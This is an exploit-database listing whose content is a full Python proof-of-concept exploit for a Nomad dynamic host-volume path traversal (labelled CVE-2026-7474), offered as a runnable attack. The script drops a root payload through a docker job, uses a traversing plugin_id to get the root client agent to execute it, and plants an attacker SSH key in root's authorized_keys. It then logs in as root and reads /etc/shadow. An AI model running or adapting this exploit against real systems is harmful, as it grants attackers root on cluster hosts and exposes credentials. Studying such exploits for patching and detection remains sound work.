Exploit database

GH-c92588d6c3c03a98a5144b2201daae6c

m4xsec/my-exploits

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-18963

12 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
m4xsec/my-exploitsRevision 65e8e6c5c559

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploits/nomad_hostvol_7474.py

Python · 4,983 bytes
#!/usr/bin/env python3
"""Nomad CVE-2026-7474 / HCSEC-2026-15 - dynamic host-volume path traversal to root.

With a Nomad management (ACL) token, register a dynamic host volume whose plugin_id
traverses OUT of the client's host_volume_plugin_dir. Nomad <=2.0.0 joins the plugin_id
onto the base dir without rejecting '..', so the client agent (running as ROOT for the
docker driver) executes an attacker-controlled file -> code execution as root on the host.

Delivery: a short docker 'dropper' job writes the payload into its own alloc local dir
(/opt/nomad/data/alloc/<id>/drop/local), reachable from the plugin base as
   ../alloc/<id>/drop/local/pwn
Payload (root) authorises an attacker SSH key on root; we then SSH in as root to confirm
execution as the client agent's (root) user.

Requires the `nomad` CLI on PATH with NOMAD_ADDR + NOMAD_TOKEN in the environment.
Runs fine as an UNPRIVILEGED user: root only appears via the CVE, never from the caller.
"""
import argparse, json, os, subprocess, sys, tempfile, time


def nomad(*args, check=True):
    return subprocess.run(["nomad", *args], check=check, capture_output=True, text=True)


def api(path):
    return json.loads(nomad("operator", "api", path).stdout)


def ready_node():
    for n in api("/v1/nodes"):
        if n.get("Status") == "ready":
            return n["ID"]
    sys.exit("[-] no ready Nomad client node")


def wait_alloc(job, timeout=120):
    for _ in range(timeout // 3):
        allocs = api("/v1/job/%s/allocations" % job)
        for a in allocs:
            if a.get("ClientStatus") == "running":
                return a["ID"]
        time.sleep(3)
    sys.exit("[-] dropper alloc never reached running")


DROPPER = '''job "dropper" {
  datacenters = ["dc1"]
  type = "batch"
  group "g" {
    task "drop" {
      driver = "docker"
      config {
        image   = "alpine:3.20"
        command = "/bin/sh"
        args    = ["-c", <<-EOS
          cat > /local/pwn <<'PWN'
#!/bin/sh
# executed as root by the Nomad client agent (fingerprint runs first, then create)
mkdir -p /root/.ssh && chmod 700 /root/.ssh
echo "__PUBKEY__" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
{ id; hostname; } > /tmp/hv_pwn_marker 2>&1
chmod 644 /tmp/hv_pwn_marker
case "$DHV_OPERATION" in
  fingerprint|version) echo '{"version":"0.0.1"}';;
  create)              echo '{"path":"/tmp","bytes":0}';;
  *)                   echo '{}';;
esac
PWN
          chmod 755 /local/pwn
          sleep 600
        EOS
        ]
      }
      resources {
        cpu    = 50
        memory = 48
      }
    }
  }
}
'''

VOL = '''type      = "host"
name      = "edge-scratch"
plugin_id = "__PID__"
node_id   = "__NODE__"
capacity_min = "1MB"
capacity_max = "1MB"
capability {
  access_mode     = "single-node-writer"
  attachment_mode = "file-system"
}
'''


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--ssh-host", default="127.0.0.1")
    ap.add_argument("--ssh-port", default="22")
    ap.add_argument("--keep-key", help="reuse an existing private key instead of generating one")
    a = ap.parse_args()

    work = tempfile.mkdtemp(prefix="hv_")
    key = a.keep_key or os.path.join(work, "id_ed25519")
    if not a.keep_key:
        subprocess.run(["ssh-keygen", "-t", "ed25519", "-N", "", "-q", "-f", key], check=True)
    pub = open(key + ".pub").read().strip()

    node = ready_node()
    print("[+] target client node = %s" % node)

    # 1) drop the payload into a controlled alloc dir
    dj = os.path.join(work, "dropper.hcl")
    open(dj, "w").write(DROPPER.replace("__PUBKEY__", pub))
    nomad("job", "run", dj)
    alloc = wait_alloc("dropper")
    print("[+] dropper alloc = %s (payload at /opt/nomad/data/alloc/%s/drop/local/pwn)" % (alloc, alloc))
    time.sleep(3)  # let the container finish writing /local/pwn

    # 2) register the traversing volume -> root client execs our payload
    pid = "../alloc/%s/drop/local/pwn" % alloc
    vf = os.path.join(work, "vol.hcl")
    open(vf, "w").write(VOL.replace("__PID__", pid).replace("__NODE__", node))
    r = nomad("volume", "create", vf, check=False)
    print("[*] volume create rc=%d (payload runs regardless of the reported result)" % r.returncode)

    # 3) capture root: SSH in with the dropped key and confirm uid=0
    time.sleep(2)
    ssh = ["ssh", "-i", key, "-p", str(a.ssh_port),
           "-o", "StrictHostKeyChecking=no", "-o", "UserKnownHostsFile=/dev/null",
           "-o", "ConnectTimeout=8", "root@" + a.ssh_host, "id; hostname; head -n1 /etc/shadow"]
    for _ in range(6):
        s = subprocess.run(ssh, capture_output=True, text=True)
        if s.returncode == 0 and "uid=0" in s.stdout:
            print("[+] ROOT via dropped SSH key:")
            print(s.stdout.strip())
            print("[+] private key: %s" % key)
            return
        time.sleep(3)
    print("[-] SSH capture failed; stderr:", s.stderr[:200])
    sys.exit(1)


if __name__ == "__main__":
    main()